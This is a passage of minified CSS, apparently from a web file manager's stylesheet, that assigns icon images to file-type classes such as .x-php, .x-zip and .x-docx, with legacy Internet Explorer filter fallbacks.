\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none 